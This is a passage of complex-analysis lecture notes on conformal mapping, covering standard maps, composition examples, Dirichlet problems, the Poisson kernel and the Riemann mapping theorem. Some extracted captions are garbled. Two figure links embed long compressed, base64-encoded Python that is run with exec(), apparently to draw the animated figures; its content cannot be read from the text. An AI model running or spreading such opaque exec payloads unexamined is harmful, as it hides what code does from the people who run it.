by dividing the series (24.5) far enough, or by the Bernoulli-number formula of Remark 32.7.)



Part VIII

Conformal Mapping

231



Chapter 33

Conformal Mapping

Theorem 13.10 established that an analytic map preserves angles wherever its derivative is
nonzero. This chapter takes that fact as a design principle: to solve a boundary value prob-
lem on an awkward region, map the region conformally onto a standard one, solve there, and
transport the answer back.

33.1 Conformal maps
Definition 33.1 (Conformal map). Let D be a region. A function f is conformal at z0 ∈ D if f
is analytic at z0 and f ′(z0) ̸= 0. It is conformal on D if it is conformal at every point of D, and
a conformal equivalence of D onto D′ if in addition it is a bijection of D onto D′.

Theorem 33.2 (Local behaviour). Let f be conformal at z0. Then:

(i) f preserves the magnitude and the sense of angles at z0 (Theorem 13.10);

(ii) f is one-to-one on some neighbourhood of z0;

(iii) the local inverse f−1 is analytic near w0 = f(z0), with

(
f−1)′(w0) = 1

f ′(z0) . (33.1)

Proof. (ii) Since f ′(z0) ̸= 0, the function f−f(z0) has a zero of order exactly 1 at z0 (Theorem 24.7
with m = 1). Choose ρ > 0 with f(z) ̸= f(z0) on 0 < |z − z0| ≤ ρ and f ′ ̸= 0 on D(z0, ρ). Put
w0 := f(z0). There is η > 0 such that for every w ∈ D(w0, η), Rouché’s Theorem 31.6 (as in the
proof of Theorem 31.10) shows f − w has exactly one zero in D(z0, ρ), counted with multiplicity
(as many as f−w0, whose only zero there is z0, of order 1). So f is injective on the neighbourhood
D(z0, ρ) ∩ f−1(D(w0, η)

)
of z0.

(iii) f is an open map (Theorem 31.10), so f−1 is continuous; then

f−1(w) − f−1(w0)
w − w0

= z − z0
f(z) − f(z0) −→ 1

f ′(z0)

as w → w0, since z = f−1(w) → z0 and the denominator’s difference quotient tends to f ′(z0) ̸=
0.

232
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Warning 33.3. Conformality on D does not imply injectivity on D. The map f(z) = z2 is
conformal on C \ {0} but two-to-one there; f(z) = ez is conformal on C but infinitely many-to-
one. Global injectivity must be checked separately, usually by the arguments of Corollary 9.2 and
Theorem 16.3.

33.2 A catalogue of standard maps
The following table collects the conformal equivalences established earlier in these notes. In each
case the reference gives the proof.

Map Domain Image
w = az + b, a ̸= 0 C C (Thm 8.4)
w = zn sector |Arg z| < π/n slit plane C \ (−∞, 0] (Cor 9.2)
w = z

1/n
pr C \ (−∞, 0] sector |Argw| < π/n (Thm 10.3)

w = zαpr, α > 0 sector S(θ1, θ2), −π ≤
θ1 < θ2 ≤ π, of angle
φ = θ2 − θ1 ≤ 2π/α

sector S(αθ1, αθ2) of angle αφ
(Prop 18.5)

w = 1/z C \ {0} C \ {0} (Prop 11.2)
w = ez strip −π < Im z < π slit plane C\ (−∞, 0] (Thm 16.3)
w = Log z C \ (−∞, 0] strip |Imw| < π (Thm 16.9)
w = sin z strip |Re z| < π/2 C minus (−∞,−1] ∪ [1,∞)

(Thm 17.10)
w = z − a

1 − az
, |a| < 1 unit disc D unit disc D (Thm 34.8)

Example 33.4 (Composing the catalogue). Map the half-disc H = {|z| < 1, Im z > 0} confor-
mally onto the upper half-plane.

Step 1. w1 = 1 + z

1 − z
maps D onto the right half-plane {Rew1 > 0} and the real diameter

(−1, 1) onto the positive real axis. Indeed w1 = −i ψ−1(z) with ψ−1 the inverse Cayley transform
(34.11), which maps D onto the upper half-plane (Theorem 34.9), and multiplication by −i rotates
the upper half-plane onto the right half-plane; for real x ∈ (−1, 1), 1+x

1−x ∈ (0,∞). Moreover

Imw1 = Im (1 + z)(1 − z)
|1 − z|2

= 2 Im z

|1 − z|2
,

so w1 maps {Im z > 0} into {Imw1 > 0} and {Im z ≤ 0} \ {1} into {Imw1 ≤ 0}. Since w1 is
a bijection of D onto the right half-plane, it therefore maps H = D ∩ {Im z > 0} onto the first
quadrant {Rew1 > 0, Imw1 > 0}. (On the boundary, the upper semicircle eiθ, 0 < θ < π, goes
to 1+eiθ

1−eiθ = i cot θ2 , the positive imaginary axis.)
Step 2. w2 = w2

1 doubles the opening angle (Theorem 9.1), mapping the first quadrant onto
the upper half-plane.

Hence w =
(1 + z

1 − z

)2
maps H conformally onto {Imw > 0}. Both steps are bijections onto

their images, so the composition is too.
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half-disc

1+z
1−z

quadrant

(·)2

half-plane

Figure 33.1. Example 33.4: a conformal map built by composing two entries of the catalogue. The
half-disc goes to a quarter plane under w1 = 1+z

1−z
, and the quarter plane opens to a half-plane under

w2 = w2
1. Building maps by composition is almost always how explicit conformal maps are found; the

Riemann mapping theorem 33.10 guarantees one exists but does not produce it.
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w= (1¡ s) z+ s
¡
1 + z
1¡ z

¢2
; s= 1:00

every point moves in a straight line from z to 
¡
1 + z
1¡ z

¢2

A straight line
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12

first 1 + z1¡ z; then square; s= 1:00
1 + z
1¡ z takes the half-disc onto the quadrant;

squaring doubles the angle: onto the half-plane

B a path of maps

Figure 33.2 (animated). Composing:
(

1+z
1−z

)2. A: every point moves in a straight line from z to f(z).
B: 1+z

1−z
takes the half-disc onto the quadrant; squaring doubles the angle: onto the half-plane. C: the

tiles on the left deform along the path of B.

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=c33_compose_a&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqtWW130zgW%2Fu5foTX0IJfExCktkBLOMgwzdIcyHGA5zCnZHMVWElPHNpJckgD72%2Fe5kvLStB34sD0Q2%2FLV1X197pUcZHLM6kIs%2BDiftNhYiZn0F91ieWmkuhBFi41G1bz%2Fqipl1AsY%2FvJZXSnD8gqvhJZH91tsJkxdVKbIR3G9oDsmNFgbSz9W1YydvF6YaVXGWa5pyRWTF%2B9OX7aYH7TUmBWnRaUlSRXZIf%2BaEzEPw%2FBxPpuwPOuH9XiI25BpsyhkP0wbpSvVqysre8hMbuxwkafnzFSsFo2W4ZPgsU5VXpsnwYVQrB6zPvuSl1n1Jbb3X8c9djZosfMe67SYasoeM6qR32ESLNtnWZU2M1maeCLN80LS7S%2BLk4yvpImOA1ziqnTr9tm4KVOTVyXjEfuK9WLwxPA%2F3N0x%2B34caGlOvL35JXLon48Z97Ts2zeaf86e9Ok6jgtZTsw0YkqaRpXHRI2ltUqZIzgj6sGxm9Rn3F7vsiRie3tsLzsOoNVeBokf3%2FM2gXnZHuO7URBFzhVjKTOywWWPRGsXDuGWd7CWp64UOwcPpkQ5kZ6pjyIXGRjg59F6YNSQB%2FIq%2FmVhpD75k29eIRpiLS4krhxkLWKOsEMQlJPQBekwL9Op1H2630zEe%2FB0kRqPju7LMq0ySTzIg9CtkTyK4kza4a0FoWrc1Jkw0ul5ZxU31vR1o6c8xFvRy2diIu9hnWOfD3s6jNYWvQN74h0MeIu18cdkmbFqzP7V1FBSvcyNtFkolX0dwAPPKmSHzstJj93%2BWMix4R9hqvRrcnf5%2FWvSXn7%2FqPLJ1ET%2F6d7GHCZKSGBD5inj2ihBL9tFXkqmizyTURz8LkupoEnGRgs2keWQ5mgkq8tOXcuUno5ZWcHwPfZ8LmZ1IdnBQXwf%2FDP2Wz5plH1OWqyOWfLggPF0enDQTqvSuqKIjZz3kqTbYslBJzpmKWxTVJMGoPJWupDG9O7l6b2jR1HwegH2DIwukEygQ8ZNIbu1HwNKQRNNAWAlWQVNi4hKrFIU2sFYHMdQFfYLAg8vZTODisCisl4NbaAq2EItAAMPn06QvVfpdiDNGmzrbVoVhVNPr1DtdVUsnq2Hg4AwTaWvBSTXq5D6GoLHFCYz8bgqDRAg7LEwnSGWQxqIx2KWFwsa1FLl4%2FW4zpcSo0n3exTUeYvBvCcI8LKO6QkXDCSfgiAgeBdqwpcOp%2FttS%2BLTD1bCOwtklKCcKBwd8KHL6nxAdiRKhy2rV%2BAxqzKOC1K6kHwZsbZ712aJbJP3u2zfSRMR1NCYF6b%2BQrKIG8RZ7u8LALGZWuevhTPiHF7%2BgYhOfzHSkMeOWD5kC6W0IXNn%2BQUyoR%2Fmk7JSMiRkQ%2BpTEfEjW7DkNcb0L1OpJFfsCZUCYjevuYB6pD9Cm%2B%2BSKJg%2Bsmp%2FAtWW8YGfLdaJvCGKm51CuoOzUFBgdo05fspXG%2BmcSa6VyMsyq0b8tMWWXgRO7oGsPAWmR7Dr6f%2FNntZyS4gyitg9LOCfsrUkdfWFRNEba5zu72tbRQSFwIVUJh8BlbrzLmWgyuc9Ri7RZDJ2CrEFijwkBbyeVqO80SCrte9AqAU4XVnq1IeMUgAOLJqZRS37aUWo54sHkZxCUpDpz8pYn%2BelKCaoFYaf%2BopYiFmLvXfc%2FGuJEnXq3qJ4kwtAdNYZIEXoJhlEiBYkxqMrJnrP%2Fkl8slxY7znd9lf%2BxGTEkSPxS8Eo%2FL0XBDL4dX74dwtmUmJUoUPpWT0Lxk%2Fgi1cw4StW5kWNMlC69u2VN0MB8UmmheTdaCfadgWFlC5JHDU409tXK0%2BnjeF1i73ZOHqkpDiH99DCXUjG8xKYZ9gEzouYzTCWG1ZI1H9t8wHtRkpeViIjL79hiJFPAHvNRKoqDSQ2K0%2FX256ur%2FX0SFBT819Q5RrFBhWZ1xH7xlYZVJPD3jhaWsVxVMOz30RBqejJrOfGY5BbetjsYOBEOKMVvtm5Aze5FOW2DWtvGS0nXDuMvIwJtaomSkIx3qE4RgcH7QU6X7QesIgw1Klq2CpHfmg2qaQPe0Hkox2AmOUln4k5h9PQPth0HNk7gFTcwW8Sr8FqXOQ1gYaB6fr3Mb6Ri1hZ4QqBXqNCfiLaq8bYQXi0YGKeQ50iP5c2NScwlpYOz2upqO0wOTnc9JMe0KD9hLqAT0CjlcALmGsZU4e1LT9fxpa9h7WFC720sj6oczwaG4IZaZaBzFOgp9qm8BpSEpGCG80USaL293nS7pqIoY1BEylFOkXALdCd9BOWu0C0qKSpt1ne%2B7b89p8uqUYvGoQRS3OVFvIqOjtYZvtIkgR271pxnIiUSlaprRK77YrFtqie42VrXLEEAa0zoa%2FDaE94beCY5nKQjVRFxdZ2jmaqqmYyZZaO0GImAbjadZANaXnWaSXrygMyn2faZxrNuybXztdQqWuRSo6qiY4SGxmaEe0Ci91%2F1LzBdqxFa1hFoy1NrxCQnmQvSeXRIuIoE%2BwCm7n4EKam3ysmuoiCt89ePP8V9GeI%2FwGGkg4WKXJtODHiVyU%2B7ES2rp4lfsLRjRNA3fETguDFRig4Eq22jQAd%2BWpIOMk5R6cf3UP0wff7%2B4DbN5iVIPlugnOLmwA%2FACXAlY3kokKrbKaIUgeRwcuT05N3b2kT2H7QYvjXTqhRh%2Bb%2F%2FgWjdyTieMHs3hk9ATGDiwlg3HbCBYVFlNvL24Qptz%2F6rcnu3mSzObkTvDt59%2FI5sb%2F9pQ91dPTxY2t5V%2BP3R7O%2Fdr%2BD5nMD4NT9vbg7Brff35z8%2BsfJq19bjO6evvmd9LmDcBbqDlqWDu1NOvGjQxjbAhkesV85SA4fdY8ODw4fPnrw6OAAykfB0%2Fd%2Fnlh3D4LnH969efrW3ePu2R%2B4pdOOIGiuDdWDThLBmq%2BeuznsZ6ott3bVbMkbgCt2DFWjsNMYs5VGrN9H8y8UNgE2A%2BZYa47FFrgucC3n%2BE9YuFJ8vb9OyU%2FbUq6mlvOtFszKG4u6xuaTo%2FXyCcQXFOZ8QSG46FAMknyhEaPeCPviMIpuXmct2uLGdSALsZ8T%2B7lnv1o69esomdEysti1hnUrNjrXx7sFVs1IyhaBMuJcZg48qA8nudCMG9wbujfXmU7tqrSZeqNKagelubEqGlLReBVvMqHZXW8jXotOBWyQ9Fe82OPNTsoCF%2BLuZksrK4aiqWpl6cuSmmjX4lr22E%2F%2B3WKhgxg4RFiYo%2F6Dgzk1JVT%2BoFqzCe21hJQjXNK5VuhRr8GOFrKiHqySIbLWkXP7QIxWnhps8oyqXuoI6Y6o3DuETUmb83JBmDtzBd7WV5jiMyD6sW217czPNM2mfuTz%2Fu%2FEu142BxeDIHg7fP6aRAP3o%2BCF3oX1FyQx9Vgog5Z0027QcRG91ZerOHXFL7R7Qc0xyNdVFV1Rim1XSVuvsy0GK4MMNwahEb0baQ66APeD4Fr%2Foo45rhPrFM944hk7U%2F2AceSlxe%2FZpU4aZX1AWOcqkFP5A%2BZ9wMS%2FcP0rwSz30gXl9RSr6m99HLW2nmHkaFP8t9%2B7Z3pveU7BBg0AdQA0%2BIGy5YPj38ZC0eWIR%2FFD%2BUFFHVVzVNaqQUW1VRJltXTtaEpxQbDMP1D%2BfUiole6iFP1Fj3%2B5x%2BvVSedYc9qi6117XfjnBT0HAR139e1p%2BNgevdFxOB399PlRix3FRwgnMafT5XwSiywbirnUnLqXh7b02QL40N4%2F7AyINtbSDOdFPuNOluiY%2BcEFDTrBNoPCNuc8lLBBgf29yD412G2M6EQdBgktSzGfUl9AUUCZr%2FohluuCuvjSx53jJuYXf0tEjEyeng9tl0mb5RHCgFR9FAVX4ttFx2eyIPJl2Vrty8CETuT4ZxsULfbZOn97yYdbS%2Fp%2BCdm%2FmkdH%2FvTf0aeWNIm7Ee2nSYjhNuoMAjlHY%2FRDBgiFQvfDdkgwZafz8JxO8kaFSM%2FDiFG8s7DdDq%2BsY3NuEGQVakOf7S4SVuFaNWI40%2F2jKDBfKtCGH8uQOKCxC%2BwnEB8ldNaIHunQ9UiHJBJNsCJg5D5ehGA1Ff0wlfYLCh2yo20hVyT3o%2BAKk84VJhR3WHeHy8Xm4dKEkA6iKDbC1gaWNkt2LhEndtW1Ow8OyZ10MgwcQj7CWYfrfZI%2FInaxQl6y7f3ZOduzOw375KGQbE5hNIy84ZfY7lont3xXvVV0aee%2Fhb7r8dSmDH0M4LWPv9rvRNZrTHbWsA5G3beBdO0aKyz%2B2WVgLdfAouunmkhd7GW%2BL%2Byex23QziztwK6A4FvTIeI2y5y5dSjq3EoDt5SNK0tmA8K1%2BXskKyF9SMfxNgYnRTUSheZRb3XupCo6OLS7SNpyuqN%2FrJFJRYc4fnj74wicfO4%2FDV77rbK%2Fcenmg1X%2FQefvW5xbxA4Suu%2BS7otDXWnMXm3tqX7pKUSdiZpxiqIkWn%2BiXB3nn4V1NrYn%2BLTVDel053432HzcsvvIQ%2FvjY2HrO9ZwOM4LORzGStdFDrC9F9IB8lk7GcDskA8FNozrBSFGSJ1zOHQixlgUCPw%2FkPyKAg%3D%3D%27%29%29.decode%28%29%0Aexec%28src%29
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first 1 + z1¡ z; then square; s= 1:00

1 + z
1¡ z takes the half-disc onto the quadrant; squaring doubles the angle: onto the half-plane

C tiles (Figure 33.2, continued)

Example 33.5 (Opening a corner). Map the wedge W = {0 < Arg z < π/4} onto the upper
half-plane. By Proposition 18.5 with α = 4, the map w = z4 sends W onto {0 < Argw < π},
the upper half-plane, conformally (and z = 0, where f ′ = 0, is a boundary point, so conformality
inside is unaffected).
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w= (1¡ s) z+ s z 4; s= 1:00

every point moves in a straight line from z to z 4

A straight line
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w= z 1 + 3s; s= 1:00

the wedge onto the upper half-plane;
the rays (isotherms, Example 33.8) stay rays, the arcs (heat flow) stay arcs

B a path of maps
Figure 33.3 (animated). z4 opens the wedge 0 < Arg z < π/4. A: every point moves in a straight
line from z to f(z). B: the wedge onto the upper half-plane; the rays (isotherms, Example 33.8) stay
rays, the arcs (heat flow) stay arcs. C: the tiles on the left deform along the path of B.
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the wedge onto the upper half-plane; the rays (isotherms, Example 33.8) stay rays, the arcs (heat flow) stay arcs

C tiles (Figure 33.3, continued)

33.3 Transporting harmonic functions
The reason conformal maps matter to physics is the following invariance.

Theorem 33.6 (Conformal invariance of Laplace’s equation). Let f : D → D′ be analytic and
let Φ be harmonic on D′. Then

ϕ := Φ ◦ f (33.2)

is harmonic on D.

Proof. Fix z0 ∈ D and a disc D(w0, ρ) ⊆ D′ about w0 = f(z0). By Theorem 15.6 there is F
analytic on that disc with ReF = Φ. Then F ◦ f is analytic on f−1(D(w0, ρ)

)
, a neighbourhood

of z0 (continuity of f), and
Re
(
F ◦ f

)
= Φ ◦ f = ϕ.

By Theorem 15.2 the real part of an analytic function is harmonic, so ϕ is harmonic near z0.
Harmonicity is a local property, so ϕ is harmonic on D.

Theorem 33.7 (Solving a Dirichlet problem by transport). Terminology: let D′ be a region,
E′ ⊆ ∂D′ a finite (possibly empty) set of exceptional points, and g a function on ∂D′ \ E′. We
say that Φ solves the Dirichlet problem on D′ with boundary data g if Φ is harmonic on D′,
bounded, continuous on D′ \ E′, and

∇2Φ = 0 on D′, Φ = g on ∂D′ \ E′.

Now let f : D → D′ be a conformal equivalence which extends continuously to a map D → D′

with f(∂D) ⊆ ∂D′, and suppose the set E := {z ∈ ∂D : f(z) ∈ E′} is finite. If Φ solves the
Dirichlet problem on D′ with boundary data g, then ϕ = Φ ◦ f solves the Dirichlet problem on D
with exceptional set E and boundary data g ◦ f .

Proof. Harmonicity is Theorem 33.6, and ϕ is bounded because Φ is. The extended f maps D \E
into D′ \ E′: points of D go into D′, which is disjoint from E′ ⊆ ∂D′, and points of ∂D \ E go
outside E′ by the definition of E. So ϕ is continuous on D \ E as a composition of continuous
maps, and for z ∈ ∂D \ E, ϕ(z) = Φ(f(z)) = g(f(z)).

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=c33_wedge_c&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqtWe970zgS%2Fu6%2FQmfoIXdTEydtKS3hOZbtLr1r2T7Q2wNCNo9iK4moY3ttpY0D3N9%2B70jKz5ZbPmw%2F1LY0kmbeGb0zUrxEDlmRipoP1ajBhqWYSPeoGkxlWpY3Im2wwSCfdV7nmQyOPYY%2FNSnyUjOVo0tU8nC%2FwSZCF2muUzUIi5remKgwtTbywzKfsLPLWo%2FzLExURUsuJnl1dXHeYK7RSGNUGKd5JUmrwDS5bk7C3Pf9Z2oyYirp%2BMWwj1efVbpOZcePp2WVl8dFbnT3mVbaNKcqvmY6Z4WYVtJ%2F7j2r4lIV%2Brl3I0pWDFmH3aosyW9D8%2F55eMy6vQa7PmbNBiun2THT5VR%2BBSRYtsOSPJ5OZKbDkdSnqaTXH%2BuzhC%2B0CU48PMI8s%2Bt22HCaxVrlGeMB%2B4z1QsyJ5r%2FZtxP29cSrpD5zePMNcdivhow7WfblC42%2FZs879ByGqcxGehywUuppmZ2QNJauyphZgS5J907soA7j5vkDiwK2s8N2khMPVu0k0PjZY4cJ4GU7jG9HQRBYVwylTAiDTY8ESxf24ZYroOWk85JdYw5Wimwk3aQuimxkoIFfB8uGwZQ8oPLwx1rL6uxXvupCNISVuJF4cog1aHKEHYIgG%2Fk2SPsqi8ey6tD7aiD6MaeN1HBwuC%2BzOE8kzUEehG1TyYMgTKRpXlsQpobTIhFaWjsfLeLGQF9MqzH30SuO1USM5GOsc%2BL2w07lB0tEHwFP9AHAB2wPf0xmCcuH7J%2FTAkaW50pLswtlabo9eODh%2FPf9hywvZFYxPZbsViYjyR42n32ExeNy8vlFOfr6sTF%2F9rFQjyGJSUUGLUzYvGRcqxQ4h94vMpMl9E%2FYoGYjmfVJqsIWtXuyKmRMXycsywH3MfuPKDMFuNrtsN1gRciiJy3G43G7fXxwEJyw05mYFKmk%2FgPX33b90eH%2BpsAR1JCTgtaflpKCQFg7Ajdy341sRU8D77L%2BWY1YnGc32E6w4tjYbRFk4CmVyYpCAHYmy7BpkFDGYpGmlSWyMAxhNhD0PEcw2XQCc8FGWbFoWpGVt8ZboAbuvxhh%2F96V2yI1A95ab5ynqTR7tlrw2mWe1i%2BXzZ5HrFbGlwKaV4ug%2BuyTN7Wc6XCYZxoc4B8zP54gmn1qCIdiotKaGitZquGyvVJzidao9TXwCtVgYO0zhHhWhPSFBxqiT57nEcGLcsTnlqk7e0bEbUCghD5DZeQdThJWDgzRYoXqEY4kadll0YU5JnnC8cCmTiWfB2zP9u2xSO5FrQZG71ptAiIbanPKFLeki%2FiGOvPdXcSI0mPj%2FKVyWlzDy3%2BiorVfDCroY1rMPIRFWVaa4E7UjUqQDtQoy0vpE7dh81MacS1rxOQsxvDbsSwlL9lzSgY03azgAuaR%2FWk%2B4tsiJaAPjNmfILUGPhi0wZqBAyL9tlPIdswsShgwuQeO7%2FLVSjsLyb0aOV0m%2BYBfNNjcqcDJPdCVx2D1ALhe%2FGV4GuTmUGUQsMdYwH0lS02K%2FJZUqVZoXOzuViaPCAqBG1lqNQDBtGYt2oGlmh0zcklFkLELqC2Q5qEpCPYiH6hpBbGicjUIFQEXC6QuXMiUJYgDiya6LmQnzonAXPogkQtoCrHqj1Ibn6tMpCNkC80vXE5MxaTBfrOzuW6JJHVhe5G%2ByQUQ6jZ72CL0EvUCRAs2xtM7EP3G%2FkHzJEoY71nbdhf%2BxGDEkRVxSwEU%2FptTBDq4df707wFgKsUgR41ybOxMGT%2BDL14DwtcsU2mBlJDZAu61gyGF%2BqRTLXkr2Iq2bUWhpd0kVhozU%2B%2FrhafjqeZFg71ZOXpQSnEN76GIu5GMqwycp9kIzguY2WFMaZZKVAA2J6LgiMnLpUjIy28YYuQTyL5iIi7zCkysF54u1j1d3OvpgaCy5r%2BQUhWSDXIyLwL2hS12UEEOe2NlaRU7Y9nv%2FixS2opOzHhuOIS4kQdm7Z5VoUsrfDFje3ZwJrJ1DAuHTCVHvLIcuckJRZmPSgnDeJPiGDUcrBeofVF8ABGhqVatgBWSP8Ae5dKFvSDxwRZBTFTGJ2LG4TQUD2Y7DswbSCps4n8ULslqmKqCSEMDus4%2B2ld60VRGuVRkkuXYn4j2fKpNIzyaMjFTMCdV19JszRHAqqTlcxQHVIJoRQ7XnegYbLD3nKqAT2CjhcI14JqHVGOt68%2FnoZne0VptQy%2FOjQ8KhU9tQjAhyxKIOYkKdq9JOAtpE5GBK8tK0qTc3eXRXksHTKQ56iIp4jECrkZ10omYsoFoWKmiymv%2B%2BMv8y%2B8tMo06pggjFqsyTuVddra0zHaxSSLg3jLqWBVpKxmj1lLsuivqdVXdjJto3EGCiNZC6PIwyhNeaDhmuhlkgzKnZAtuoZgq8%2BlozIwcscVEgnArW01OycpusxEtMw%2FE3D6r3E6jcffsteslVVaFiCVH1owQITKjEcE2sZgTSMGnOJA1aA1jaLBm6R0BspPwkpQeDSMOEsFucJwLDwA1%2Fb8D0U3gvX356vQnyHcR%2Fz00RU0skqpKc5qI39X4oBmYvNqN3IDDbw6AdNMN8LxXK6XgSJTdtiqKfmjvVoH3Br0HUOFbtG34ESQHQgSJsoGsc5TEeoxotFTonZ9dnF29xTR0Zvfe%2FvtHvD5aHSNQQeY2PgtsQDYW6XDPbN8Tu2lFDYpRVY6PcgIPrtf0AdFNbWQariqJIT2WYJ9hmt%2B6fmp95F2dXZ2f0toPbzvz3z%2FDvupr4%2BPHP6ZgwqqzE7aGD0no%2FPRfZ69%2FajB6e%2FHmF1L8EeJTlI9QgzTDFlER8Ns3EDbDJ0cH7adH0WG7%2FfTJ%2Fv4Rzin7gffq7PzsitbqHkIcnOu97Z9e0lRIsofeq2ob8leEOPEf7DCicAyNj5qelPfG52mDDm7mbqFjSD%2Fwrs5pxZ6HFL8wg3U6KOFFiVLexPEMg2cYXeNZ45lhVQxa2GpkxrMGGxPL8RlRwaxJbAxBXtNnbT4ny%2FP0p9V5erJ%2BlEaXWnVla130R%2BkEK8wopineac2aPmgTjesN2avzUCA0MlPjg4xjVHsZVXxdgQHjGUZIudiAA6q4TKtrQBr5gcwhoaDhse%2F6W05syBADt2YL7CpbCyyEgx68J%2BESR4lUhlusNV51dB%2FmqNPHmjAvaZJyibmmT%2F1XYl4uMS9JoQXm%2Bjsx5wab0uK5lSBMmW77t7ssStoO%2B24%2FrBZbYnv%2FvIHxyLeWXA42nrl8YWig6z9IhvJoeEDn2AfDQ9lO2n7Pe%2Fmr2UUk1OWK0AnYDmv17gJ%2FF%2B%2BeZ26YGiym1jmqFEsEDVpMPjkcHkRmsZZ4mhwN%2FZ5zEJbsXlMVFi9qrnF%2Bi%2BwTHLPvKZzN7YqtuAqBeiyTAnplpmysDTGPVZLIbDvjpynfrC8Dc5tB52kQ0bLQDNgz9gaKQd6VmRvx8Krimk5IBg1zGgQN0XtF73d5K4rghMVk9OiuK0ENAfv7ss6131AgMLRmU4lF7R3me4cJ3%2BP5PsJktnNt492RoNlMvg6p3KSQWTXA5EUDJewNCdtAEmZec%2B2KlEh5m1rfUXi9s4vsYbXg%2FtXfNdE7GVErwope3i9a3tsW78NdgK%2FOA29OtD0n3p4Tcc9rmu7DhiUfNsz4sGHDh3UDJvNN5eeG5O0KhuCxBIoCutvqmMtvvE1Lc%2FtN9zwdHlHlEO5jI4kZzUUXoSJJ%2BmImK07FyoEp2Y%2Fof3vfpMgWeXx2e4%2Fw%2FprwQWtNeB5WUvdnqZpAQwPT3EBAOM2DE7aQqI1EvZSonQStt5rC%2BsIMu10Ns54JzKYV5h4DszZIxm1MYWSFORRwX6JSSLF%2FRfJpirJiQHf5g3zm07ShVvF13xSldLYeIAgJrKeBm0fMxlTD0h6I8zQvO34zPGphsvS2gzczhZjd%2FF8ZgwqBt7rf45v3epz2UtzvahMMYHfj%2BN761uw12BCb0SxQdcA830PFVKe5ET7Oc5puV0jVW5XocWWUW%2FnM%2FMrBS%2F%2Fh%2FKGt43y6G8%2B0ASRqB56mQNhWHHp9xyrGq1sQ6FtMSWvSBnfutTr42ytT9NH9Jso4E3dPW3igIEXuFR0%2FluZnmga7Wf9YTRDR3Yn%2FMfMJSSpjiWnAZzTX0mFtpzRRnspGHfQuz0rumtjGFpWApsTvXiO%2F0GnDfAX2fH5JOeg%2BarXd11ISfXaVzUE4Z1CvzKYTc7%2FOLwPSdZFG7BhtoaErq2oRKJdd1XOxYl5X4WLyGi3TC9ZHr2KHdyltqW9IE%2F7WEwS3rbx3YIpHLO7T3bhBcZTmA9Su3GW6B3SpQLd45khH9by9h4eGCY4GWMg1r%2F9WAbSv3S919%2F502Flhu%2Fr9qPOk6Uq0b99HpQIa2p8J7fV%2FkVcYvThnU8aqxlB1IgrGyZ1RsPzFcHG33vWLZGiu0%2Bnc6VOS3295q9%2BazKHuwPxzP1Gt%2FazU7w%2BR2vv9sKyKVIGBHvt0m9vdi8hp0A9J1Q%2BLmmoKn0pUv29VDLGoH3j%2FA%2FnebkQ%3D%27%29%29.decode%28%29%0Aexec%28src%29
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Boundedness is part of the definition because on unbounded regions the solution would oth-
erwise not be unique: on the upper half-plane, Imw is harmonic, vanishes on R, and could be
added to any solution. (That a bounded solution with finitely many exceptional points is unique
is true, but we do not prove it here.)

Example 33.8 (Temperature in a wedge). Find the steady temperature ϕ in the wedge W =
{0 < Arg z < π/4} whose two edges are held at fixed temperatures: ϕ = 0 on the ray Arg z = 0
and ϕ = 100 on the ray Arg z = π/4.

In the half-plane. On D′ = {Imw > 0}, the function

Φ(w) = 100
π

Argw (33.3)

is harmonic (it is 100
π Im Logw, the imaginary part of an analytic function by Theorem 16.9),

equals 0 on the positive real axis and 100 on the negative real axis. It is bounded, and continuous
on the closed half-plane except at the single exceptional point E′ = {0}, where the data jump.

Transport. By Example 33.5, w = z4 maps W onto D′, sending Arg z = 0 to Argw = 0 and
Arg z = π/4 to Argw = π; it extends continuously to the closed wedge, and the only boundary
point mapped to E′ = {0} is z = 0. Theorem 33.7 gives

ϕ(z) = Φ(z4) = 100
π

Arg(z4) = 400
π

Arg z = 400
π

arctan y
x

(x > 0). (33.4)

Check: ϕ = 0 when Arg z = 0 and ϕ = 400
π · π4 = 100 when Arg z = π/4, as required; and ϕ is

harmonic, being a constant multiple of Arg z.
The isotherms are the rays Arg z = const, and by Theorem 15.11 the heat-flow lines are their

orthogonal trajectories, the circles |z| = const.

Example 33.9 (The Poisson kernel). On the unit disc the Dirichlet problem is solved explicitly
by

ϕ
(
reiθ

)
= 1

2π

∫ 2π

0

1 − r2

1 − 2r cos(θ − t) + r2 g
(
eit
)

dt, 0 ≤ r < 1, (33.5)

for continuous boundary data g on |z| = 1. That the kernel has total mass 1 is Exercise 28.4;
that (33.5) is harmonic follows because the kernel is Re eit+z

eit−z , the real part of an analytic function
of z for each fixed t, together with differentiation under the integral sign (legitimate because the
integrand and its partial derivatives in x, y are continuous in (z, t) on {|z| ≤ r0} × [0, 2π] for each
r0 < 1). The remaining, and main, point is the boundary behaviour: ϕ(reiθ) → g(eiθ) as r ↑ 1,
uniformly in θ, so that ϕ extends continuously to D with boundary values g. This follows from
the fact that the kernel is positive, has total mass 1, and concentrates at t = θ as r ↑ 1 (an
“approximate identity”); we state it without proof. Combining (33.5) with Theorem 33.7 and a
conformal map onto the disc solves the Dirichlet problem on any region for which such a map is
known.
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Figure 33.4 (animated). The Poisson kernel of Example 33.9 at work, for boundary data g(eit) =
t

2π
+ 0.2 sin 3t, 0 < t < 2π. The disc is coloured by ϕ; below, the kernel 1

2π
Pr(θ − t) is drawn over

the graph of g. As the probe reiθ moves toward the boundary the kernel sharpens (peak 15.76 at
r = 0.98) while its mass stays 1, so ϕ(reiθ), the kernel-weighted average of g, approaches g(eiθ). At
the point t = 0, where this g jumps from 1 to 0 (beyond the continuous g of the notes), the kernel
puts mass 1

2 on each side and ϕ stays at the midpoint 1
2 .

33.4 The Riemann mapping theorem
Theorem 33.10 (Riemann mapping theorem; stated without proof). Let D ⊊ C be a simply
connected region that is not all of C. Then there exists a conformal equivalence f : D → D of D
onto the open unit disc. If one fixes z0 ∈ D and demands f(z0) = 0 and f ′(z0) > 0, the map is
unique.

Remark 33.11. Three comments.

(a) The hypothesis D ̸= C cannot be dropped: a conformal equivalence C → D would be a
bounded entire function, hence constant by Liouville 22.2.

(b) The theorem is an existence statement and is famously non-constructive; for explicit regions
one still builds the map by composing catalogue entries as in Example 33.4, or by the Schwarz–
Christoffel formula for polygons.
